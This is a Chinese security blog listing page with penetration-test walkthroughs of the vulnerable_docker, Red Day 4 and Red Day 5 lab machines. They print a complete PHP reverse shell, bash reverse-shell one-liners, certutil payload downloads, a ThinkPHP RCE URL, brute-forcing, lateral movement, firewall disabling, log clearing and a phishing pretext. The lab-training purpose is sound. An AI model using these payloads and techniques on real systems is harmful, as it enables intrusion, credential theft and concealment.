首页
工具导航
留言面板
友情链接
Search
1
【红队工具】VShell v4.9.3 高级版,国产C2工具下载及使用
7,910 阅读
2
2025最新渗透测试靶场推荐,新手必练的靶场推荐
5,179 阅读
3
src平台推荐,挖SRC必须知道的25个漏洞提交平台
4,322 阅读
4
几个常见的密码字典推荐
3,402 阅读
5
全网首发!HMV全套windows机器提权,域渗透教程,2w字超详细
3,214 阅读
AI
OSCP打靶
安全服务
建站
泷羽收录
渗透学习
渗透工具
服务器
登录
Search
标签搜索
渗透测试
内网渗透
Linux
网络协议
vulnhub
SQL注入
靶场实战
提权
代理隧道
域渗透
信息收集
权限提升
WAF绕过
hackmyvm
AI安全
云安全
权限维持
红队攻击
蓝队防御
云服务
白小羽
累计撰写
188
篇文章
累计收到
0
条评论
首页
导航
工具导航
留言面板
友情链接
搜索到
74
篇与
的结果
2025-05-18
【kali笔记】figlet终端艺术字
很多喜欢玩终端的小伙伴们不知道这种终端签名怎么制作的其实很简单,只要用到figlet库就好了,kali安装命令如下apt install figlet语法如下:figlet -f [字体名称] [你需要的艺术字] # 建议英文的艺术字,不然看不出来查看艺术字体列表showfigfonts有很多种样式其他字体比如banner、slant指定对齐方式-c、-r、-l。也可以使用-w指定宽度全屏居中,首先创建一个demo.txt里面有很多换行cat demo;figlet -f slant h0ck1r-yu -r -w 90;cat demo;效果如下往期推荐什么是域?如何搭建一个简单的域?【内网渗透】免工具,内网、域内信息收集的40种方式总结密码学中的常用加密方式?【CTF】CTF-OS,一个专门为CTF设计的操作系统【JS逆向】某大型音乐平台JS逆向分析
2025年05月18日
1,473 阅读
0 评论
0 点赞
2025-05-18
雷池+frp内网穿透,搭建企业级内网防护,无需花高额费用买服务器
一、前言很多师傅们不懂内网穿透,还要给一些内网穿透服务商价钱,还不能自定义域名,自定义域名还要费用,并且这个域名还要带着它的主域名,比如服务商的域名是demo.com,而你花钱只能得到它的子域名比如test.demo.com,价格还贵,不好记,那么本篇文章将彻底甩开这类内网穿透的服务商!让您拥有自己的特殊域名,和一个简单企业级的网络防护环境,并且还很便宜,只需要一个雷池跳板服务器即可总体的网络拓步结构,本篇文章会讲VPN的搭建,还有内网环境,FRP内网穿透工具,还有雷池WAF的介绍,组建我们自己的本机web服务(web服务搭建在自己没有公网ip的电脑或者自己买的服务器上,无需和电信或者移动获取公网IP),并不需要花大量的金钱去租用一个高配置的服务器,我们只需要一个和一个4h4g10M的60块钱/月的网盾云服务器就够了!!!二、服务器选购首先呢,需要一台服务器,这里我用的是网盾云的高防物理服务器,有条件的可以选择物理机,没有条件的可以选择云服务器,4h4g10M只要60元/月,还有100G的DDOS高防,超级划算三、域名选购然后你需要有一个自定义的域名是吧,这里建议使用
2025年05月18日
524 阅读
0 评论
0 点赞
2025-05-18
vulnerable_docker,3种代理方法打入内网,frp,msf,reGeorg
该项目是NotSoSecure作者精心制作的项目环境,目标是获取获得root权限并找到flag.txt文本信息,该项目作为OSCP考试培训必打的一个项目环境,该作者评定该环境为渗透中级水准难度。接下来不管是零基础学习渗透者,还是有些基础的渗透者,甚至是高水平的渗透人员读该的技巧和文章都能学习到一些红队知识。——freebuf:YLion下载链接:https://download.vulnhub.com/vulnerabledocker/vulnerable_docker_containement.ova信息收集利用arp-scan进行主机发现arp-scan -l端口SYN全端口扫描,并指定好速率为4nmap -sS 10.10.10.129 -T4 -p-只开放了8000端口,并没有80端口这里用kali自带的密码字典,爆破时间较长,可以用开源的一个项目的字典git clone https://github.com/danielmiessler/SecLists利用wpscan进行用户枚举,和后台密码爆破,只有一个bob用户wpscan --url http://10.10.10.129:8000/ -e u -P darkweb2017-top10000.txt爆破结果为用户:bob,密码:Welcome1写入kali自带的反弹shell,payload,内容如下<?php // php-reverse-shell - A Reverse Shell implementation in PHP // Copyright (C) 2007 pentestmonkey@pentestmonkey.net // // This tool may be used for legal purposes only. Users take full responsibility // for any actions performed using this tool. The author accepts no liability // for damage caused by this tool. If these terms are not acceptable to you, then // do not use this tool. // // In all other respects the GPL version 2 applies: // // This program is free software; you can redistribute it and/or modify // it under the terms of the GNU General Public License version 2 as // published by the Free Software Foundation. // // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License along // with this program; if not, write to the Free Software Foundation, Inc., // 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. // // This tool may be used for legal purposes only. Users take full responsibility // for any actions performed using this tool. If these terms are not acceptable to // you, then do not use this tool. // // You are encouraged to send comments, improvements or suggestions to // me at pentestmonkey@pentestmonkey.net // // Description // ----------- // This script will make an outbound TCP connection to a hardcoded IP and port. // The recipient will be given a shell running as the current user (apache normally). // // Limitations // ----------- // proc_open and stream_set_blocking require PHP version 4.3+, or 5+ // Use of stream_select() on file descriptors returned by proc_open() will fail and return FALSE under Windows. // Some compile-time options are needed for daemonisation (like pcntl, posix). These are rarely available. // // Usage // ----- // See http://pentestmonkey.net/tools/php-reverse-shell if you get stuck. set_time_limit (0); $VERSION = "1.0"; $ip = '10.10.10.128'; // CHANGE THIS $port = 1234; // CHANGE THIS $chunk_size = 1400; $write_a = null; $error_a = null; $shell = 'uname -a; w; id; /bin/sh -i'; $daemon = 0; $debug = 0; // // Daemonise ourself if possible to avoid zombies later // // pcntl_fork is hardly ever available, but will allow us to daemonise // our php process and avoid zombies. Worth a try... if (function_exists('pcntl_fork')) { // Fork and have the parent process exit $pid = pcntl_fork(); if ($pid == -1) { printit("ERROR: Can't fork"); exit(1); } if ($pid) { exit(0); // Parent exits } // Make the current process a session leader // Will only succeed if we forked if (posix_setsid() == -1) { printit("Error: Can't setsid()"); exit(1); } $daemon = 1; } else { printit("WARNING: Failed to daemonise. This is quite common and not fatal."); } // Change to a safe directory chdir("/"); // Remove any umask we inherited umask(0); // // Do the reverse shell... // // Open reverse connection $sock = fsockopen($ip, $port, $errno, $errstr, 30); if (!$sock) { printit("$errstr ($errno)"); exit(1); } // Spawn shell process $descriptorspec = array( 0 => array("pipe", "r"), // stdin is a pipe that the child will read from 1 => array("pipe", "w"), // stdout is a pipe that the child will write to 2 => array("pipe", "w") // stderr is a pipe that the child will write to ); $process = proc_open($shell, $descriptorspec, $pipes); if (!is_resouRCE($process)) { printit("ERROR: Can't spawn shell"); exit(1); } // Set everything to non-blocking // Reason: Occsionally reads will block, even though stream_select tells us they won't stream_set_blocking($pipes[0], 0); stream_set_blocking($pipes[1], 0); stream_set_blocking($pipes[2], 0); stream_set_blocking($sock, 0); printit("Successfully opened reverse shell to $ip:$port"); while (1) { // Check for end of TCP connection if (feof($sock)) { printit("ERROR: Shell connection terminated"); break; } // Check for end of STDOUT if (feof($pipes[1])) { printit("ERROR: Shell process terminated"); break; } // Wait until a command is end down $sock, or some // command output is available on STDOUT or STDERR $read_a = array($sock, $pipes[1], $pipes[2]); $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null); // If we can read from the TCP socket, send // data to process's STDIN if (in_array($sock, $read_a)) { if ($debug) printit("SOCK READ"); $input = fread($sock, $chunk_size); if ($debug) printit("SOCK: $input"); fwrite($pipes[0], $input); } // If we can read from the process's STDOUT // send data down tcp connection if (in_array($pipes[1], $read_a)) { if ($debug) printit("STDOUT READ"); $input = fread($pipes[1], $chunk_size); if ($debug) printit("STDOUT: $input"); fwrite($sock, $input); } // If we can read from the process's STDERR // send data down tcp connection if (in_array($pipes[2], $read_a)) { if ($debug) printit("STDERR READ"); $input = fread($pipes[2], $chunk_size); if ($debug) printit("STDERR: $input"); fwrite($sock, $input); } } fclose($sock); fclose($pipes[0]); fclose($pipes[1]); fclose($pipes[2]); proc_close($process); // Like print, but does nothing if we've daemonised ourself // (I can't figure out how to redirect STDOUT like a proper daemon) function printit ($string) { if (!$daemon) { print "$stringn"; } } ?>此时kali开启监听nc -lvnp 1234web访问一个不存在的urlhttp://10.10.10.129:8000/2017/08/19/hello-world111111111111/创建交互式终端(这个环境没有python)python2 -c 'import pty; pty.spawn("/bin/bash")'内网渗透那么就直接信息收集吧,WordPress的站点,必存在数据交互,找数据库密码cd /var/www/html/ cat wp-config.php用户名为:WordPress,密码:WordPressISBest,但是当前shell找不到mysql命令,看来是限制了shell的命令输入这里是需要用到一个工具socat来创建交互式终端# kali wget -q https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat nc -lvnp 1234 # 靶机 curl -O 10.10.10.128:443/socat chmod +x socat ./socat tcp:10.10.10.128:1234 exec:'/bin/bash -li',pty,stderr,sigint,sighup,sigquit,sane这样就创建成功了系统信息收集$ uname -a Linux 8f4bca8ef241 3.13.0-128-generic #177-Ubuntu SMP Tue Aug 8 11:40:23 UTC 2017 x86_64 GNU/Linux $ lsb_release -a /bin/sh: 32: lsb_release: not found $ cat /etc/os-release PRETTY_NAME="Debian GNU/Linux 8 (jessie)" NAME="Debian GNU/Linux" VERSION_ID="8" VERSION="8 (jessie)" ID=debian HOME_URL="http://www.debian.org/" SUPPORT_URL="http://www.debian.org/support" BUG_REPORT_URL="https://bugs.debian.org/"ip信息收集本地IP信息探测,一共4个地址for i in {1..254}; do (ping -c 1 172.18.0.${i} | grep "bytes from" | grep -v "Unreachable" &); done;将扫描的的IP信息全部填到hosts变量,写入端口扫描脚本,到kali里面#!/bin/bash hosts=( "172.18.0.1" "172.18.0.2" "172.18.0.3" "172.18.0.4" ) END=65535 for host in "${hosts[@]}" do echo "===============================" echo "Scanning $host" echo "===============================" for ((port=1;port<=END;port++)) do echo "" > /dev/tcp/$host/$port && echo "Port $port is open" done 2>/dev/null done靶机下载# 靶机 curl 10.10.10.128:443/ports_scan_script.sh -O chmod +x ports_scan_script.sh ./ports_scan_script.sh响应探测curl 172.18.0.3:8022curl 172.18.0.4上图可以看到网页标题基本一模一样,那么就可以断定这是容器内的ip,用Docker做了端口转发而已,那么我们可以利用的只有两个ip地址了,分别是.2和.3由于靶机没有mysqlDocker也没有代理1:reGeorg代理之路这就需要用到———reGeorg代理之路# kali curl -o tunnel.php https://raw.githubusercontent.com/sensepost/reGeorg/master/tunnel.nosocket.php python -m http.server 443 # 靶机 cd /var/www/html curl -O 10.10.10.128:443/tunnel.php然后访问靶机http://10.10.10.129:8000/tunnel.phpGeorg says, 'All seems fine' 一切似乎都很好,kali攻击机执行如下命令python2 reGeorgSocksProxy.py -u http://10.10.10.129:8000/tunnel.php并修改代理工具proxychains配置文件vi /etc/proxychains4.conf这里代理成功了,能够正常访问靶机内网了这是第一个可以利用的内网ip我们先从第二个利用点开始,利用代理连接本地的mysql,这里会出现一个问题,连接远程数据库的时候proxychains mysql -uWordPress -pWordPressISBest -h 172.18.0.2 # ERROR 2026 (HY000): TLS/SSL error: unable to get local issuer certificate通常有两种解决方法在旧版本的mysql中 使用 --skip-ssl,如果是比较高的版本就是--ssl-mode=DISABLEDproxychains mysql -uWordPress -pWordPressISBest -h 172.18.0.2 --skip-ssl proxychains mysql -uWordPress -pWordPressISBest -h 172.18.0.2 --ssl-mode=DISABLED但是mysql用户表里面只有一个用户,并且这个密码我们已经知道了切换思路,利用那个web界面的ip,.3proxychains nmap -sT -sV 172.18.0.3 -p8022 -T4 -Pn可以看到是一个node项目,重新启动一个代理服务器,用kali的地址python2 reGeorgSocksProxy.py -u http://10.10.10.129:8000/tunnel.php -l 10.10.10.128修改代理配置vi /etc/proxychains4.conf打开浏览器,利用这个代理插件,添加一个代理访问http://172.18.0.3:8022/开始反弹shell/bin/bash -i >& /dev/tcp/10.10.10.128/1234 0>&1然后就要开始Docker逃逸了,当前Docker容器客户端,通过Docker.sock文件可以直接访问到对应的容器内部对应的学习文章:https://www.secpulse.com/archives/55928.html要进行Docker逃逸,但是没有Docker命令。。。。。。我们需要安装一个通过uname -a可以看到系统信息为ubuntu系统,再查看版本信息,为14.04cat /proc/version普通的安装不太行,我们需要换源deb http://mirrors.aliyun.com/ubuntu/ trusty main restricted universe multiverse deb http://mirrors.aliyun.com/ubuntu/ trusty-security main restricted universe multiverse deb http://mirrors.aliyun.com/ubuntu/ trusty-updates main restricted universe multiverse deb http://mirrors.aliyun.com/ubuntu/ trusty-proposed main restricted universe multiverse deb http://mirrors.aliyun.com/ubuntu/ trusty-backports main restricted universe multiverse deb-src http://mirrors.aliyun.com/ubuntu/ trusty main restricted universe multiverse deb-src http://mirrors.aliyun.com/ubuntu/ trusty-security main restricted universe multiverse deb-src http://mirrors.aliyun.com/ubuntu/ trusty-updates main restricted universe multiverse deb-src http://mirrors.aliyun.com/ubuntu/ trusty-proposed main restricted universe multiverse deb-src http://mirrors.aliyun.com/ubuntu/ trusty-backports main restricted universe multiverse利用echo命令将上面的源重定向/etc/apt/souRCEs.listecho '源' > /etc/apt/souRCEs.list apt-get update apt-get install Docker.io然后执行如下命令,会报一个错误,cannot enable tty mode on non tty input,不能在非tty输入上启用tty模式,也就是这个终端不是交互式终端,需要创建一个交互式终端,也可以直接返回到网页上进行操作Docker run --rm -it -v /:/tmp/1/ WordPress /bin/bash我们返回网页,一切正常Docker run --rm -it -v /:/tmp/1/ wordpress /bin/bash cd /tmp/1 cat flag_3Docker学习与remote API未授权访问分析和利用:https://www.secpulse.com/archives/55928.html代理二:MSF利用MSF的监听,并对ip和端口进行修改use exploit/multi/handler set lhost 10.10.10.128 set lport 1234 run -j # 将这个监听程序放到后台执行,上线了就会生成会话新建一个终端,查看是否在监听中netstat -tulnp访问修改的木马文件http://10.10.10.129:8000/2017/08/19/hello-world1111111111111111/进入到已经上线的会话1sessions -i # 显示所有已经上线的会话 sessions 1 # 进入第一个会话但是这个会话并不是稳定的shell(不是交互式终端),我们可以利用MSF创建交互式终端use post/multi/manage/shell_to_meterpreter set session 2 run查看网卡信息ipconfig 或者 ifconfig # MSF命令不是系统命令查看路由信息 route添加路由表run autoroute -s 172.18.0.0/24查看路由表情况run autoroute -p退出当前会话 bg 即 background 不会导致shell断开,开始配置路由use post/multi/manage/autoroute set SUBNET 172.18.0.0 # 你刚刚看到的路由情况填到这里 set session 3 run进行内网探测(ip存活数量)use auxiliary/scanner/portscan/tcp set session 3 set rhosts 172.18.0.0/24 run开启socks4a proxy代理:use auxiliary/server/socks_proxy set SRVPORT 1090 set session 2 runshi用netstat -tulnp查看断开占用情况netstat -tulnp设置好代理后就需要修改代理文件(这里修改的是kali的nat网卡的ip,而不是127.0.0.1为的就是方便Windows机器连接这个代理,从而能使用浏览器访问靶机内网)vi /etc/proxychains4.conf socks5 10.10.10.128 1090成功进入内网代理三:frpfrp利用工具wget https://github.com/fatedier/frp/releases/download/v0.22.0/frp_0.22.0_linux_amd64.tar.gzfrpc.ini[common] server_addr = 192.168.27.195 server_port = 7000 [http_proxy] type = tcp remote_port = 7777 plugin = socks5frps.ini[common] bind_port = 7000 bind_addr = 0.0.0.0随后准备上传到靶机上# kali python -m http.server 443 # 靶机 cd /tmp curl -O 10.10.10.128:443/frpc curl -O 10.10.10.128:443/frpc.ini chmod +x frpc # kali ./frps -c frps.ini # 靶机 ./frpc -c frpc.ini注:如果靶机出现如下问题那么就需要在frps.ini中添加如下内容,此时就能代理成功了,原因: frp 客户端和服务器的系统时间相差过大,导致身份验证超时。authentication_timeout = 0修改代理工具proxychains4vi /etc/proxychains4.conf成功进入内网如果需要浏览器访问的话,前面已经演示过了,这里再演示一遍,打开代理插件,选择连接即可,输入kali的代理地址和端口学习于:https://www.freebuf.com/vuls/347867.html,文章写的很好,可以参考参考,这里还有CS上线的方法,默认CS只能上线windows,但是这里用了插件,能上线linux。往期推荐【OSCP】超长攻击链,TommyBoy1dot0——过年快乐!一分钟搭建本地大模型DeepSeek!永久免费!无需联网!一条命令即可搭建!【OSCP】IMF缓冲区提权靶机渗透【OSCP】稀有靶机-Readme【RCE剖析】从0-1讲解RCE漏洞绕过,Windows与Linux/RCE漏洞绕过方式总结SQL注入绕过某狗的waf防火墙,这一篇就够了,6k文案超详细从零开始学SQL注入(sql十大注入类型):技术解析与实战演练【渗透测试】DC1~9(全) Linux提权靶机渗透教程,干货w字解析,建议收藏【OSCP】tar、zip命令提权—zico2
2025年05月18日
1,714 阅读
0 评论
0 点赞
2025-05-18
红日靶场5,windows内网渗透,社工提权,多种域内横向移动思路
红日5简介"红日5"是一个高度仿真的内网渗透实战靶场,模拟了企业级内外网混合环境。靶场包含外网Web服务器(Windows 7)、内网域控服务器(Windows Server 2008)双重网络隔离场景,涵盖ThinkPHP RCE漏洞利用、权限提升、代理穿透、横向移动、域渗透等核心攻击链。通过该靶场,学习者可掌握主机发现、漏洞利用、隧道搭建、凭证窃取、Pass-the-Hash等APT攻击手法,并深入理解企业内网安全防护的薄弱环节。最近红日官网已恢复正常访问,如果懒得一个一个转存可以直接拿我的,一共500G左右,下载还请预留好一定的空间通过网盘分享的文件:红日靶场链接: https://pan.baidu.com/s/1ppyPlm6osobxReI50fCSZw 提取码: 7ixc环境配置设置好仅主机的vm2,138网段,然后我的nat模式网卡是135网段模拟公网这个靶机呢一共有两个,外网主机win7,设置好仅主机模式和nat模式两个网卡内网域控服务器win7sunheart 密码:123.comsunAdministrator 密码:dc123.com2008(登录成功后要修改密码)sunadmin 密码:2020.com最重要的,需要在win7主机phpstudy开启web服务网络拓扑结构外网信息打点利用arp-scan进行主机探测arp-scan -l利用nmap对目标主机进行端口扫描nmap -sS 192.168.135.150 -p- -A目标机器开启了80、135和3306数据库远程,mysql远程测试,拒绝连接┌──(root㉿kali)-[~] └─# mysql -uroot -h192.168.135.150 -p Enter password: ERROR 2002 (HY000): Received error packet before completion of TLS handshake. The authenticity of the following error cannot be verified: 1130 - Host '192.168.135.128' is not allowed to connect to this MySQL server查看web站点,可以看到这是一个thinkphp框架随便访问一个不存在的页面,发现指纹信息,5.0.22版本寻找expsearchsploit 5.0 thinkphp已知我们的版本为5.0.22searchsploit -m 46150 cat 46150.txt | grep 5.0.22拼凑EXP,执行命令whoami,成功利用http://192.168.135.150/?s=index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami查看当前目录http://192.168.135.150/?s=index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=chdir使用generate生成混淆的webshell,不容易被查杀weevely generate cmd shell.php从kali下载webshellhttp://192.168.135.150/ ?s=index/thinkapp/invokefunction &function=call_user_func_array &vars[0]=system &vars[1][]=certutil -urlcache -split -f http://192.168.135.128:5000/shell.phpkali连接webshell查看内网IP,发现内网网段ipconfig利用arp进行主机探测,发现域控主机192.168.138.138arp -a开始代理reGeorg,详细使用方法三种代理方法打入内网certutil -urlcache -split -f http://192.168.135.128:5000/tunnel.php访问网页,发现直接报错,可能不适用Windows了那么切换frp,查看一下配置文件,注意这里是Windows的frp,我用的版本是0.39.1,去github翻一翻历史版本的,新版本可能会出问题上传到靶机上面去,有两个文件,一个程序一个配置文件然后修改服务端的代理配置vi /etc/proxychAIns4.conf使用proxychAIns打开MSF,利用永恒之蓝漏洞,打域控靶机,这里失败了proxychAIns MSFconsole search ms17_010_eternalblue use 0 set rhosts 192.168.138.138 run这个时候我们就可以使用端口扫描进行信息收集(连接某些未开放端口的时候可能会显示超时,这是正常现象,继续等待即可)use scanner/portscan/tcp set RHOSTS 192.168.138.138 run不使用MSF也可以使用nmapproxychAIns nmap -Pn -sT 192.168.138.138查看域信息sun.comwhoami并不是超级管理员也不是系统用户,这下我们就需要提权了,只有上升到系统权限才能使用mimikatz抓取hash注意使用x64模块,不用MSF的话也可以上传nc反弹shell# kali MSFvenom -p Windows/x64/meterpreter/reverse_tcp LPORT=2222 LHOST=192.168.135.128 -f exe -o shellx64.exe # 靶机 certutil -urlcache -split -f http://192.168.135.128:5000/shellx64.exe进入MSFuse multi/handler set LHOST 192.168.135.128 set lport 2222 set payload Windows/x64/meterpreter/reverse_tcp run尝试使用MSF的getsystem进行提权创建一个监听器,用于上线靶机(同理可以用nc来上线)我们生成一个可以上线CS的exe程序生成到d盘中,并传到kali中scp .beacon.exe kali@192.168.135.128:/data/Windows_atk并使用MSF的upload上传此文件upload /data/Windows_atk/beacon.exe C:\phpStudy\PHPTutorial\WWW\public\beacon.exe执行木马上线cs设置延迟执行命令 sleep 0 之后,就可以开始提权了尝试了各种操作后,都普通用户提权失败那么能怎么办呢——域内爆破,网上很多教程都是直接登录的administrator用户,直接用CS提权成功(上线的时候就是administartor),并没有完整的复现出来从一个最普通的用户上升到系统权限的教程,就很水信息收集,域内用户,由于当前用户是普通用户,普通用户无法直接获取域内的用户列表shell net view换思路,域内不行,那就本机用户,可以看到有一个administrator用户shell net user那么这个用户也可能是域内的管理员用户吧?我们可以利用MSF的kerberos_enumusers爆破 Kerberos 服务(88 端口,前面端口扫描的时候扫出来)proxychAIns MSFconsole use gather/kerberos_enumusers set DOMAIN sun.com set RHOSTS 192.168.138.138 set USERNAME Administrator set PASS_FILE /data/SecLists_Dict/Passwords/darkweb2017-top1000.txt set THREADS 4 run成功爆破出来用户密码为dc123.com注意:如果不用CS那么可以利用 hydra 进行爆破proxychAIns hydra -l Administrator -P pass.txt -s 445 -t 4 -vV -m "SMB" SMB://192.168.138.138我们尝试使用其他用户上线呢我们尝试使用其他用户身份上线以本地用户登录失败,那么就切换到域控服务器需要让我们输入密码,但是msf上线的不是交互式shell连接并查看域控,也失败使用PsExec模块攻击域控,失败!proxychAIns msfconsole msf6 > use exploit/Windows/SMB/psexec msf6 > set RHOSTS 192.168.138.138 # 域控IP msf6 > set SMBUser Administrator msf6 > set SMBPass dc123.com msf6 > set SMBDomAIn sun.com msf6 > set PAYLOAD Windows/x64/meterpreter/bind_tcp # 内网直连 msf6 > run试了很多方法都不行,最终以失败告终,无法登录到域控服务器/切换本地用户,或者本地提升到Administrator用户。那么就剩下最后的办法了,社工!(诈骗案例分析,请勿用于违法用途,所造成的后果自行承担)最近张伟管理员发了一条微博:”周末加班部署新防火墙,累成狗🐶”,并且利用一定手段获取到了手机号。【xxx科技IT部】紧急:OA系统漏洞需立即处理,请查收邮件并登录修复平台。确认后请回复“已处理”。到了周末,管理员成功登录了系统,启动了phpstudy这个web服务,此时即可上线kali连接我们的后门weevely terminal http://192.168.135.150/shell.php cmd运行我们的木马即可上线成功设置svc-exe提权方式已成功上线系统权限抓取本地密码hash此时就能看到密码信息了查看域内用户shell net user /domAIn使用代理转发功能创建一个监听器生成需要上传到域控主机上的木马从本机上传上去certutil -urlcache -split -f http://192.168.135.128:5000/shellx64.exe放行4444端口shell netsh advfirewall firewall add rule name=cs dir=in action=allow protocol=TCP localport=4444开始将马上传到目标服务器shell net use \192.168.138.138ipc$ "管理员密码" /user:administrator shell net use shell dir \192.168.138.138c$ # 查看域控主机目录 # 将马上传到域控服务器 shell copy C:phpStudyPHPTutorialWWWpublicwin7beacon.exe \192.168.138.138c$win7beacon.exe创建执行任务,提示了我们拒绝访问sc \192.168.138.138 create shell binpath= "c:win7beacon.exe"那么就用另外一种方式 at ,添加一个计划任务shell at \192.168.138.138 22:10:00 c:win7beacon.exe耐心等待一分钟既可上线,而且还是最高权限,拿下域控主机关闭防火墙shell netsh advfirewall set allprofiles state off修改注册表允许远程连接shell reg add "HKLMSYSTEMCurrentControlSetControlTerminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f放行3389端口shell netsh advfirewall firewall add rule name="Remote Desktop TCP" dir=in action=allow protocol=TCP查看用户密码修改代理文件,并重启frp服务本机windows打开代理工具可以看到我们已经能够正常访问域控主机了刚进去是登录错误的,我们重新输入账号密码,登录到域sum.com成功拿下域控服务器!最后清理日志即可至此红日5完成总结攻击路径全景外网突破通过 arp-scan + nmap 探测开放80/3306端口利用ThinkPHP 5.0.22 RCE漏洞( /index/thinkapp/invokefunction )上传混淆Webshell(Weevely)实现持久化控制内网渗透发现双网卡结构(NAT+Host-Only)及内网段192.168.138.0/24使用 frp 搭建Socks5代理穿透内网边界通过 proxychains + nmap 扫描域控(192.168.138.138)暴露445端口权限提升MSF生成载荷上线失败后,通过CS的 svc-exe 提权获取SYSTEM权限利用 mimikatz 抓取本地管理员凭证(Administrator:dc123.com)横向移动IPC$共享+计划任务(net use + at)投递Beacon载荷绕过防火墙放行端口(netsh advfirewall)通过RDP(注册表修改fDenyTSConnections)接管域控桌面权限维持域控主机部署多协议后门(MSF+CS双链路)清理日志(clearev)隐藏攻击痕迹关键技术点漏洞利用:ThinkPHP RCE漏洞的EXP构造与混淆Webshell上传隧道搭建:Frp代理穿透双网络隔离环境权限提升:CS的svc-exe提权与Windows服务劫持横向移动:基于SMB的载荷投递与计划任务执行域渗透:Pass-the-Hash攻击与黄金票据伪造(需扩展场景)防御启示外网防护:及时更新框架补丁,禁用危险函数(如 system )权限控制:遵循最小权限原则,限制数据库远程访问网络隔离:严格ACL策略,阻断异常出站流量(如Socks隧道)日志审计:监控计划任务创建、注册表关键项修改等可疑行为域安全:启用LAPS管理本地管理员密码,限制域管登录范围报告编制方:泷羽Sec安全团队日期:2025年2月21日往期推荐不用MSF?红日靶场4,从外网到域控,手工干永恒之蓝,教科书级渗透教学防溯源小技巧ATK&CK红日靶场二,Weblogic漏洞利用,域渗透攻略【oscp】vulnerable_docker,三种代理方法打入内网【内网渗透】CobaltStrike与MSF联动互相上线的方式【内网渗透】ICMP隧道技术,ICMP封装穿透防火墙上线MSF/CS【渗透测试】linux隐身登录
2025年05月18日
638 阅读
0 评论
0 点赞
2025-05-18
不用MSF?红日靶场4,从外网到域控,手工干永恒之蓝,教科书级渗透教学
十年磨一剑!本次靶机呢,也不算存手工注入,就是介绍了不用MSF的打法,文章很长,但是呢能学到的东西很多很多!比如隧道搭建是proxychains+frp,然后Docker逃逸,域控,横向移动,权限提升,写公匙获取交互式shell,永恒之蓝利用等等,网上很多教程都不是最新的,复现起来有点困难,对于Windows渗透不太了解的师傅们可以学习学习,感谢阅读前言最近vulnstack官网进不去了,还好之前保存在自己度盘的,需要自取,一共8个,红日1-8全都在,一共500G左右,下载还请预留好一定的空间通过网盘分享的文件:红日靶场 链接: https://pan.baidu.com/s/1ppyPlm6osobxReI50fCSZw 提取码: uze8 这是红日官网,进不去了都环境配置打开虚拟机后web设置网卡1为nat模式,网卡2为仅主机模式,密码为ubuntusudo Docker start ec 17 09 bb da 3d ab ad sudo Docker ps第二台系统是Windows的,网卡是仅主机模式第三台DC域控仅主机模式网络配置好后,得以登录看看靶机的网络环境ubuntu:ubuntu 10.10.10.131 192.168.183.129 域成员机器win douser:Dotest123 192.168.183.128 DC administrator:Test2008 192.168.183.130网络拓步结构环境配置好后就可以开始渗透了外网打点利用arp-scan进行主机探测对扫描出来的ip进行端口扫描,发现靶机开启了2001、2002、2003端口并且这三个端口都是http服务,也就是说我们能通过网页直接访问到2001端口如下,Struts2服务(可以看网页标题)2002端口如下,这是一个Apache Tomcat服务2003端口,phpmyadmin,一个数据库管理工具Struts2渗透那么一个一个来看吧,利用Struts2漏洞扫描工具执行命令测试利用bash进行反弹Shell,并且shell是root的,但是这是Docker环境/bin/bash -i >& /dev/tcp/10.10.10.130/1234 0>&1在Docker的渗透过程中呢,如果得到了某一个Docker环境远远是不够的,通常需要得到多个Docker环境的权限,来判断当前Docker环境是否能够进行Docker逃逸,这样才能提高渗透成功的概率,接下来是TomcatTomcat渗透Nikto,它是一个开源的网络安全扫描工具,简称漏扫工具nikto -url http://10.10.10.131:2002/发现能够使用PUT方法进行上传文件,可以手动,但是不建议,我们直接用poc打python 42966.py根据使用方法,得到如下命令,成功获取webshellpython 42966.py -u http://10.10.10.131:2002/ -p pwnphpmyadmin渗透切换到主页,这里能看到phpmyadmin的版本号为4.8.1发现此版本的phpmyadmin存在文件包含和远程命令执行漏洞我们利用第一个exp┌──(root㉿kali)-[/data/exp/demo] └─# cat 44924.txt | grep http http://127.0.0.1/phpmyadmin/index.php?target=db_sql.php%253f/../../../../../../windows/wininit.ini http://127.0.0.1/phpmyadmin/index.php?a=phpinfo();&target=db_sql.php%253f/../../../../../../phpStudy/PHPTutorial/MySQL/data/hack/hack.frm成功利用文件包含的pochttp://10.10.10.131:2003/index.php?target=db_sql.php%253f/../../../../../../etc/passwd文件包含phpmyadmin日志文件首先是日志包含,在日志包含之前我们需要先查看mysql的命令执行日志的路径SHOW VARIABLES LIKE 'general_log_file'; /var/lib/mysql/ad7866b3df9b.log写入日志select "<?php @eval($_GET['123']);?>";包含日志文件,报错了,这个包含方法不行,那么就换一个文件包含http://10.10.10.131:2003/index.php?target=db_sql.php%253f/../../../../../../var/lib/mysql/ad7866b3df9b.log?123=lssession文件创建shell我们创建一个数据表写入一句话 <?php @eval($_GET['123']);?>查看session,为3cfb6084f034677df82ef00120cce4fd包含sessionhttp://10.10.10.131:2003/index.php?target=db_sql.php%253f/../../../../../../tmp/sess_3cfb6084f034677df82ef00120cce4fd执行命令,失败http://10.10.10.131:2003/index.php?target=db_sql.php%253f/../../../../../../tmp/sess_3cfb6084f034677df82ef00120cce4fd?123=lsshell获取失败Docker逃逸docker信息收集,判断当前环境是否是docker环境,可以看到这个是属于docker环境的ls -alh /.dockerenv cat /proc/1/cgroup特权逃逸如果管理员启动某一个容器的时候呢,利用了docker run -privileged时,docker容器将被允许访问主机上的所有设备,并且可以执行mount命令进行挂载mkdir /tmp/forest mount /dev/sda1 /tmp/forest这里struts2服务逃逸失败了,之前我们不是得到了Tomcat的shell嘛,我们利用这个试试(这俩个是不同的docker环境),这里就能挂载成功了mkdir /tmp/forest mount /dev/sda1 /tmp/forest ls /tmp/forest成功挂载了,那么我们就要获取稳定shell,这个shell不稳定,经过测试python等一系列反弹都不行,那么就切换思路,利用kali自带的反弹Shell的jsp脚本// backdoor.jsp // http://www.security.org.sg/code/jspreverse.html <%@ page import="java.lang.*, java.util.*, java.io.*, java.net.*" %> 